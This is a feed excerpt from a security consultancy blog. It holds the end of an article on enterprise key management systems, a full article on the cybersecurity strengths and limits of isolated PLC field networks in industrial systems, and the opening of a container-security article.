<p><span data-ccp-props="{&quot;134245418&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> <img loading="lazy" decoding="async" class="size-full wp-image-23222 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/05/Capture-decran-2024-05-29-144145.png" alt="" width="1450" height="785" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/05/Capture-decran-2024-05-29-144145.png 1450w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/05/Capture-decran-2024-05-29-144145-353x191.png 353w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/05/Capture-decran-2024-05-29-144145-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/05/Capture-decran-2024-05-29-144145-768x416.png 768w" sizes="auto, (max-width: 1450px) 100vw, 1450px" /></span></p>
<p style="text-align: center;"><i><span data-contrast="none">Figure 3: Three main types of KMS providers</span></i><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559739&quot;:200,&quot;335559740&quot;:240}"> </span></p>
<h1 aria-level="1"><span data-contrast="none">The advantages of using a KMS</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:360,&quot;335559739&quot;:240,&quot;335559740&quot;:259}"> </span></h1>
<p><span data-contrast="auto">KMS (Key Management Systems) are tools whose full potential has still to be explored, of which can prove particularly useful for managing a company&#8217;s encryption keys centrally and securely. Here are just a few of the advantages of using KMSs.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">Firstly, keys will be easier to </span><b><span data-contrast="auto">deploy</span></b><span data-contrast="auto">. KMS enables new cryptographic-encryption keys to be </span><b><span data-contrast="auto">generated</span></b><span data-contrast="auto"> quickly and automatically, which is particularly useful when many different keys need to be generated for transmission to products, connected objects or industrial systems.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">In a context where connected object keys are often not renewed and are managed in a non-standardized way, KMS will enable companies to introduce the level of security that will enable them to comply with future </span><b><span data-contrast="auto">regulations</span></b><span data-contrast="auto"> on IoT systems. The same applies to the encryption of sensitive data in a database, which is the use case that gave rise to KMS products in the first place.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">To improve </span><b><span data-contrast="auto">key</span></b> <b><span data-contrast="auto">storage</span></b><span data-contrast="auto"> and </span><b><span data-contrast="auto">access</span></b><span data-contrast="auto">, KMS offer centralized APIs and interfaces, integrating permissions management with identity and access management (IAM), which can be particularly useful for companies with many types of keys and users of encryption keys. The challenge will be to convince providers and partners outside the company to enter keys via the KMS. This will be an element to be negotiated in future framework contracts.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">KMS also enables one to manage the depreciation of encryption keys, automatically replacing them with new ones when they expire, are compromised or simply become obsolete, for example following a change in the security policy. This ensures that data remains secure at all times.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">In short, KMS are invaluable tools for efficiently and securely managing a company&#8217;s encryption keys. They </span><b><span data-contrast="auto">improve compliance</span></b><span data-contrast="auto"> with regulations and security standards by ensuring that key management procedures and the keys used comply with established standards.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<h1 aria-level="1"><span data-contrast="none">Traps to avoid when implementing a KMS</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:360,&quot;335559739&quot;:240,&quot;335559740&quot;:259}"> </span></h1>
<p><span data-contrast="auto">Setting up a KMS (Key Management System) is a major undertaking, which can be hampered or even halted by the following factors: </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<ul>
<li data-leveltext="\" data-font="Tahoma" data-listid="4" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Tahoma&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;\\&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="1" data-aria-level="1"><span data-contrast="auto">Deployment costs: KMS can be very costly to deploy. These include </span><b><span data-contrast="auto">license fees</span></b><span data-contrast="auto">, as well as </span><b><span data-contrast="auto">hardware resources</span></b><span data-contrast="auto"> such as HSM for key storage, which need to be sized according to usage (frequency of access, volume).</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
</ul>
<ul>
<li data-leveltext="\" data-font="Tahoma" data-listid="4" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Tahoma&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;\\&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="2" data-aria-level="1"><span data-contrast="auto">Complexity of implementation: setting up a KMS can be complex, especially for companies with a large number of encrypted devices or systems, for whom it will be of </span><b><span data-contrast="auto">high added value</span></b><span data-contrast="auto">. Setting up a KMS can be complex, particularly for companies with a large number of encrypted devices or systems, for whom it will add considerable value. </span><b><span data-contrast="auto">Numerous integrations</span></b><span data-contrast="auto"> may need to be set up to communicate with the KMS API, depending on the different use cases.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
</ul>
<ul>
<li data-leveltext="\" data-font="Tahoma" data-listid="4" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Tahoma&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;\\&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="3" data-aria-level="1"><span data-contrast="auto">Specific </span><i><span data-contrast="auto">change management</span></i><span data-contrast="auto"> procedures: it will sometimes be difficult to convince all the company&#8217;s users of the importance of implementing a KMS, and to </span><b><span data-contrast="auto">encourage them to use this tool</span></b><span data-contrast="auto"> effectively. To solve this problem, a </span><b><span data-contrast="auto">communication</span></b><span data-contrast="auto"> and </span><b><span data-contrast="auto">training</span></b><span data-contrast="auto"> strategy is needed to make users aware of the importance of encryption key security and the usefulness of the system. </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
</ul>
<ul>
<li data-leveltext="\" data-font="Tahoma" data-listid="4" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Tahoma&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;\\&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="4" data-aria-level="1"><span data-contrast="auto">Skills that are rare on the market: IT architects, cryptography specialists, or project managers capable of managing large-scale cybersecurity projects. These are all profiles that are hard to source, and which will be all the more numerous to recruit the more cryptographic keys are used within the organization. Calling on external expertise will therefore be highly profitable and difficult to avoid.</span><span data-contrast="auto"> </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
</ul>
<h1 aria-level="1"><span data-contrast="none">KMS, an essential solution for secure encryption key management</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:360,&quot;335559739&quot;:240,&quot;335559740&quot;:259}"> </span></h1>
<p><span data-contrast="auto">In conclusion, KMSs are an essential solution for securely managing a company&#8217;s encryption keys. Whether a large enterprise with a large number of encrypted devices or systems, or a small business with similar issues, a KMS can greatly help to centralize and secure crypto key management.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">As an example, take the case of a freight company. It must manage numerous components in its vehicles, such as sensors to ensure compliance with the cold chain, or simply devices for tracking products. These objects connect to public or corporate networks, transmit encrypted data, and are regularly updated. Firmware must therefore be signed when an update is deployed, and encryption keys for data transmitted by sensors must be securely stored to ensure their integrity and confidentiality, as well as being available to operators in the event of a sensor modification. The KMS is particularly useful for all these processes, both to automate them and to facilitate the work of operators, and to ensure that each person involved only has access to the keys he or she uses. The tool will take care of key generation, or key recovery, if the keys have been generated externally, and then all the other stages in the key </span><b><span data-contrast="auto">life cycle</span></b><span data-contrast="auto">.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">It should be noted, however, that assessing the suitability of this technology needs to be taken seriously. Upstream studies and a tendering procedure will be necessary to ensure that the right tool is put in place. By carrying out these procedures with a precise vision of business uses, the company can be sure of not having to change its system later on.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2024/05/kms-the-key-to-secure-management-of-cryptographic-objects/">KMS: The Key to Secure Management of Cryptographic Objects </a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2024/05/kms-the-key-to-secure-management-of-cryptographic-objects/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>PLC network: the history of industrial systems  facing up to the challenges of the future</title>
		<link>https://www.riskinsight-wavestone.com/en/2024/02/plc-network-the-history-of-industrial-systems-facing-up-to-the-challenges-of-the-future/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2024/02/plc-network-the-history-of-industrial-systems-facing-up-to-the-challenges-of-the-future/#respond</comments>
		
		<dc:creator><![CDATA[Fabien Tessier]]></dc:creator>
		<pubDate>Tue, 27 Feb 2024 08:56:47 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Manufacturing & Industry 4.0]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=22588</guid>

					<description><![CDATA[<p>Introduction Industrial systems are a category of information systems of their own, with codes and properties that differ from &#8220;classic&#8221; IT systems. It is well known that the level of maturity of the industrial sector in terms of cybersecurity is...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2024/02/plc-network-the-history-of-industrial-systems-facing-up-to-the-challenges-of-the-future/">PLC network: the history of industrial systems  facing up to the challenges of the future</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h1>Introduction</h1>
<p>Industrial systems are a category of information systems of their own, with codes and properties that differ from &#8220;classic&#8221; IT systems. It is well known that the level of maturity of the industrial sector in terms of cybersecurity is generally lagging in comparison with what is done in IT systems. This delay can be explained by several factors, one of which being the historical legacy of industrial systems that sometimes are in place since several decades. This article will focus on one of these historical aspects which can be found in many industrial networks today: which are known as<strong> &#8216;PLC&#8217; or &#8216;field&#8217; networks</strong>. We will first look at the history that led to the existence of these networks, then examine the strengths and weaknesses of the model with respect to current and future cybersecurity needs, to answer the following question: <strong>Are field networks adapted to new cyber security needs?</strong></p>
<p> </p>
<h1>History</h1>
<p>Let&#8217;s go back in time: we are not going to talk about the different industrial revolutions, but our story begins at the start of the 70s. At the time, there was no Ethernet network, OSI model or even IT. Industrial production systems relied on physical mechanisms using <strong>pneumatic</strong> or <strong>electrical signals</strong>. The 1970s saw the arrival of the first principles of automation, and the integration of the first intelligent equipment: <strong>the programmable logic controllers (PLC)</strong>. This equipment allows resources to be pooled, as a PLC can manage several electrical inputs and outputs, and therefore centralise the management of processes. PLCs also incorporates communications modules, and this led to the appearance of<strong> the firsts bus networks </strong>in industrial systems, using <strong>serial communications protocols</strong>.</p>
<p>This architecture model will continue to develop in the 80s with the increase of industrial protocols, based on <strong>the &#8220;Controller-Workers&#8221; model</strong>: A main PLC contains the centralised database and plays the role of an orchestrator by being linked to the &#8220;Workers&#8221;, corresponding to other PLCs, remote input/output cards, etc&#8230; This architecture simplifies process programming at a single point, as well as communication with supervisory devices such as the man-machine interface or proprietary SCADA.</p>
<p>The 1990s brought <strong>the </strong><strong>democratisation</strong><strong> of the TCP/IP model</strong> and the integration of &#8216;traditional&#8217; IT into industrial environments: no more need for proprietary equipment, SCADA software can now be installed on conventional systems&#8230; but these computers still need to be able to communicate with the PLCs! Serial network cards exist, but industrial protocols are beginning to adapt to operate on a conventional Ethernet network. Master controllers are gradually being replaced to enable them to use TCP/IP protocols on the main network, while continuing to have serial network cards for field equipment. Then it was the turn of field equipment to adapt to the standardisation of TCP/IP use everywhere, so that today the use of serial communications is minimal. Even electrical inputs/outputs are now tending to be replaced by IP links on sensors and actuators, via the use of &#8220;Single Pair Ethernet&#8221; connectors, for example, which provide a low-cost and space-saving connection.</p>
<p style="text-align: center;"><em><img loading="lazy" decoding="async" class="alignnone  wp-image-22589" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/EN1.png" alt="" width="601" height="358" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/EN1.png 1572w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/EN1-321x191.png 321w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/EN1-66x39.png 66w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/EN1-120x70.png 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/EN1-768x457.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/EN1-1536x914.png 1536w" sizes="auto, (max-width: 601px) 100vw, 601px" /><br />Evolution of field architectures</em></p>
<p>As a result, the following architecture is now commonplace: <strong>A &#8220;main&#8221; industrial physical network</strong> (in star or ring topology) containing all the supervision and external communications equipment (SCADA, Data Historian, operator station, etc.) as well as the PLC controllers, each of which has a second network port. This second network port makes it possible to create an isolated sub-network on each PLC on which the equipment closest to the physical process is located. The PLC controller then acts as a &#8220;functional pivot&#8221;, exchanging data with the SCADA system on the one hand, and with field equipment via the PLC&#8217;s data registers on the other. This architecture can be adapted in several ways, for example, by replacing the pivot PLC with a server, or by combining several layers of isolated networks with a SCADA server having two network ports, separating the main industrial network and the supervision network in which the controller PLCs are found, on which a new separation is made with field networks.</p>
<p style="text-align: center;"><em><img loading="lazy" decoding="async" class="alignnone  wp-image-22591" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/EN2.png" alt="" width="600" height="380" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/EN2.png 1559w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/EN2-301x191.png 301w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/EN2-62x39.png 62w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/EN2-768x487.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/EN2-1536x973.png 1536w" sizes="auto, (max-width: 600px) 100vw, 600px" /><br />Example of industrial architecture integrating field networks</em></p>
<p>Now that we&#8217;ve looked at the past, let&#8217;s talk about the present, and in particular the three evolutions that are leading us to question the relevance of this architectural model today:</p>
<ul>
<li><strong>Industry 4.0</strong>, which has changed the face of industrial networks, moving from an isolated model to an ultra-connected model to meet the challenges of Big Data, interconnection with the Cloud, the digital twin, etc&#8230;</li>
<li><strong>The </strong><strong>standardisation</strong><strong> of industrial technologies</strong>, enabling us to move away from industrial suppliers, via the development of &#8220;Soft PLCs&#8221; on Linux or onboard Windows, or the use of standardised industrial protocols such as OPC-UA.</li>
<li><strong>The introduction of cybersecurity solutions </strong>at the core of the industrial network, such as update servers, firewalls, antivirus and even EDR or network probes, whose presence makes sense with the modernisation of IT infrastructures and the development of cybersecurity in the industrial environment.</li>
</ul>
<p>To study the relevance of field networks in the light of these new challenges, we are going to look at four operational security issues: network security, remote access, update management, and detection and mapping.</p>
<p> </p>
<h1>Network security</h1>
<p>The first question to ask is simple: What are the advantages of field networks from a cyber security point of view? This advantage is reflected in the very principle of the architecture model: the use of pivot equipment provides physical isolation between an industrial network and a field network. In principle, therefore, it is not possible for the two networks to communicate directly, as information is transmitted via a database (registers for PLCs, OPC database for a server, etc.). There is no need for a firewall or diode: no flow can go from one network to another, which is the best way of protecting against propagation to field equipment.</p>
<p><strong>But is this separation, made using a physical equipment not dedicated to the network, foolproof? </strong>On equipment operating on a &#8216;classic&#8217; Windows or standard Linux system, the answer is no. There are many examples of attacks that convert these systems into pivots, exploiting the many possibilities offered: exploitation of remote access protocols such as RDP, VNC or SSH, RAT, C2C implants, etc. As a result, a separation with this type of system will slow down an attacker but does not significantly reduce the possibilities of reaching field networks that would exist on other network cards.</p>
<p>In the case of a &#8220;classic&#8221; PLC, this is usually a piece of equipment running on a proprietary operating system that offers few functions: at the very least it can run industrial programs and communicate with one or more industrial protocols and can optionally contain more traditional HTTP or FTP type servers. The equipment therefore offers far fewer functions than a computer or server and is not designed to provide gateways between its various network cards&#8230; or so we tend to think. However, it has been shown that it is possible to <strong>create gateways</strong> between the various network ports of a PLC: via research work such as that by Nicolas Delhaye and Flavian Dola presented at GreHack 2020 (the video <a href="https://www.youtube.com/watch?v=PfdoaxYkmUE"><u>here</u></a>), but more concretely via <strong>the Pipedream malware</strong> discovered in 2022. This malware enables network routes to be created on Schneider PLCs, transforming them into proxies and giving them the ability to route any protocol to field networks.</p>
<p style="text-align: center;"><em><img loading="lazy" decoding="async" class="alignnone  wp-image-22593" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/EN3.png" alt="" width="671" height="227" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/EN3.png 1892w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/EN3-437x148.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/EN3-71x24.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/EN3-768x259.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/EN3-1536x519.png 1536w" sizes="auto, (max-width: 671px) 100vw, 671px" /><br />Illustration of how the Pipedream module targeting Schneider equipment works.</em></p>
<p>We have therefore proved that, even in the case of separation by a PLC, the model is not infallible, but it still makes it possible to greatly reduce the risks by only exposing the field networks to very advanced attacks.</p>
<p> </p>
<h1>Mapping and supervision</h1>
<p>Following the previous paragraph, a question naturally comes up: how do you supervise a network whose strong point is its isolation? Firstly, about logging, <strong>the current observation is that PLCs and industrial equipment are still very rarely included in security supervision perimeters</strong>: for technical reasons, as not all equipment is necessarily capable of sending back syslog-type logs, but also for organisational reasons, as SOC teams still lack the maturity to make proper use of event logs from this type of industrial equipment.</p>
<p>To overcome this lack of visibility, industrial environments are becoming increasingly subject to the installation of a network probe, enabling supervision and mapping requirements to be met. In particular, systems falling within the scope of the French Military Programming Laware required to install an ANSSI-qualified detection probe. Technically, it is possible to make isolated networks communicate with a probe by using network TAPs, whose function is to passively copy network traffic so that it can be listened in on. Strategically, field networks are rarely the place to monitor the network side. Priority should be given to interconnection points with other networks (company, supplier, etc.) or critical control equipment such as SCADA.</p>
<p style="text-align: center;"><em> <img loading="lazy" decoding="async" class="alignnone  wp-image-22595" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/EN4.png" alt="" width="600" height="313" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/EN4.png 1706w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/EN4-366x191.png 366w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/EN4-71x37.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/EN4-768x401.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/EN4-1536x801.png 1536w" sizes="auto, (max-width: 600px) 100vw, 600px" /><br />Example of a supervision architecture integrating field networks </em></p>
<p>However, the TAPs solution is not applicable to &#8220;active&#8221; probes, which seek to map by questioning the various devices on the network. But this type of solution is rarely implemented in an industrial context, to avoid &#8216;stressing&#8217; the network and the equipment.</p>
<p>The field network model therefore remains compatible by focusing on network supervision with the installation of probes for detection, as well as passive mapping. The feedback of system logs from PLCs and industrial equipment is still not sufficiently relevant to the analysis capabilities of SOCs.</p>
<p> </p>
<h1>Update</h1>
<p>To be able to make updates, it is necessary to have a network interconnection with a system allowing these updates to be sent to endpoints, which is opposed to the isolation of field networks. Does the need for updates in an industrial environment make the field network model obsolete?</p>
<p>Maintaining security is a complex issue when it comes to industrial systems: the high level of availability prevents any major intervention, systems that are isolated from the Internet mean that updates cannot be downloaded over the network, etc. In the case of networks made up mainly of PLCs, update mechanisms have evolved to take account of these constraints, with the result that today the number of PLCs kept up to date is very small (even on an annual basis), and these updates are mainly deployed manually by maintenance staff. The use of field networks to partition the architecture does not prevent these same mechanisms from being applied to PLCs.</p>
<p>On the other hand, the integration of IT technologies is changing the rules: one of the first security solutions recommended for a Windows installation is to set up a WSUS server to centralise the deployment of updates, and the same principle is also applicable to Linux technologies. This brings us to a new constraint for field networks with equipment such as Soft-PLCs or dedicated operator PCs: <strong>partitioning by dual network cards prevents centralised management of updates</strong>, forcing the implementation of a manual patching process that can be complex and time-consuming for many devices.</p>
<p>However, this constraint must be evaluated in relation to the need. The main argument in favour of updates is that they enable vulnerabilities to be corrected that increase the attack surface of an equipment. As the field network model strongly isolates systems, their attack surface is already greatly reduced. It is therefore acceptable for systems not to be constantly updated, and in this case a manual annual update of the equipment meets the need.</p>
<p>However, this model is not suited to the need for antivirus software to be constantly updated to guarantee optimum protection. This is why it is necessary in this case to rely on systems that move very little over time, which makes it easier to use whitelisted application filtering solutions such as AppLocker or WDAC (see <a href="https://www.riskinsight-wavestone.com/en/2023/12/application-control-what-strategy-you-should-adopt-for-your-industrial-supervision-system/"><u>our article on application filtering</u></a>).</p>
<p>Finally, updating practices in industrial environments have adapted to the very principle of network isolation, enabling these needs to be reduced. These practices do, however, require equipment to be hardened when installed, and solutions to be put in place to maintain system security levels with a minimum of maintenance.</p>
<p> </p>
<h1>Remote access</h1>
<p>Having looked at &#8220;automated&#8221; update flows, what about flows initiated by a user to access remote equipment for business or maintenance operations? For PLCs, such access is rare: they do not need human intervention to perform their tasks, and in the case of internal maintenance, this is often carried out by accessing the PLC from the network on which it is located (dedicated administration networks for PLCs are still very rare). If the PLC is accessible from the main production network, maintenance can be centralised from a single connection point. On the other hand, since field networks are isolated from the production network, the PLCs located there can be accessed by connecting the maintenance laptop to the &#8216;right&#8217; switch, interconnecting the various items of equipment on the sub-network, or even directly to the PLC&#8217;s USB port with a serial link.</p>
<p>On the other hand, there are limits when it comes to field networks with equipment maintained by a supplier or maintenance service provider. This is because remote maintenance has become the preferred method, and it is quite rare these days to have third-party maintenance staff available to physically visit the site at any time. The most common solution to this problem is to install a VPN termination directly on a field network, with a tunnel connected to the service provider. This effectively addresses the problem, but also bypasses the whole principle of isolating field networks, which are then exposed in the event of the service provider being compromised.</p>
<p><strong>This is where we reach the biggest limitation of the field network model</strong>, reinforced by the trend towards centralising remote access and installing bastion-type solutions that cannot cover access to field networks due to their isolation.</p>
<p> </p>
<h1>Conclusion</h1>
<p>The existence of field networks is mainly historical, due to the old controller/worker architecture models and the gradual introduction of the TCP/IP model in industrial networks. These architectural models have adapted to the life cycle of systems: they are accessed very little by users and are designed to operate autonomously by sending data back to the controller.</p>
<p><strong>Partitioning is the main strength of field networks</strong>: transforming a PLC in a rebound equipment to two different network interfaces is a highly advanced attack technique. To detect possible attacks, solutions exist for setting up supervision on isolated networks, in particular with TAPs.</p>
<p>The other advantage of network isolation is <strong>that it reduces the effort required to maintain security</strong>. The need to update isolated equipment is not necessarily the same as for equipment used by humans and interacting with third-party networks. Since isolated equipment has a lifecycle with few changes, <strong>the focus should be on hardening when it is brought into service</strong>.</p>
<p><strong>However, the isolation of these networks poses several problems in terms of remote access</strong>: it is possible to limit this when the industrial estate is managed internally, but it is essential when a service provider needs to intervene remotely. To avoid local initiatives or third-party solutions, it is advisable to implement a controlled remote access solution (VPN, bastion, etc.), with the accessed equipment placed on a dedicated sub-network with a filtered and controlled entry point.</p>
<p>In conclusion<strong>, the field network model is still relevant today</strong>. However, <strong>recent trends, particularly those linked to Industry 4.0, will raise new issues</strong>: the emergence of Industrial IOTs, involving the implementation of IoT network buses interconnected with the outside world, calls into question the relevance of having isolated IP networks cohabiting with more exposed IoT buses.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h5>Source</h5>
<p>Dragos Analyzing PIPEDREAM: Results from Runtime Testing<br /><a href="https://www.dragos.com/blog/analyzing-pipedream-results-from-runtime-testing/">https://www.dragos.com/blog/analyzing-pipedream-results-from-runtime-testing/</a></p>
<p>GreHack 2020: A full chained exploit from IT network to PLC’s unconstrained code execution<br /><a href="https://www.youtube.com/watch?v=PfdoaxYkmUE">https://www.youtube.com/watch?v=PfdoaxYkmUE</a></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2024/02/plc-network-the-history-of-industrial-systems-facing-up-to-the-challenges-of-the-future/">PLC network: the history of industrial systems  facing up to the challenges of the future</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2024/02/plc-network-the-history-of-industrial-systems-facing-up-to-the-challenges-of-the-future/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Safe sailing: step-by-step container security </title>
		<link>https://www.riskinsight-wavestone.com/en/2024/01/safe-sailing-step-by-step-container-security/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2024/01/safe-sailing-step-by-step-container-security/#respond</comments>
		
		<dc:creator><![CDATA[Elise JOUSSELIN]]></dc:creator>
		<pubDate>Thu, 11 Jan 2024 09:00:00 +0000</pubDate>
				<category><![CDATA[Cloud & Next-Gen IT Security]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[cloud]]></category>
		<category><![CDATA[container]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=22194</guid>

					<description><![CDATA[<p>Containers represent an opportunity for rapid, flexible, and efficient application deployment.   In 2019, 84% of production infrastructures were already using containers[1]. As it is often the case, this massive adoption has taken place without the integration of Cybersecurity teams, sometimes...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2024/01/safe-sailing-step-by-step-container-security/">Safe sailing: step-by-step container security </a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;"><span data-contrast="auto">Containers represent an opportunity for rapid, flexible, and efficient application deployment. </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">In 2019, 84% of production infrastructures were already using containers<a href="#_ftn1" name="_ftnref1">[1]</a>. As it is often the case, this massive adoption has taken place without the integration of Cybersecurity teams, sometimes out of ignorance of the technology, and sometimes out of a vision of simplicity and efficiency for development teams.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><b><span data-contrast="auto">The need to secure containers is greater than ever, and it&#8217;s time for Cyber teams to understand the technology and define the right security measures.</span></b><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">We&#8217;ll start with a comparison between containers and virtual machines, then look back at the reasons for the emergence of containers. We&#8217;ll then look at how to secure them throughout their lifecycle, </span><b><span data-contrast="auto">step by step</span></b><span data-contrast="auto">.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
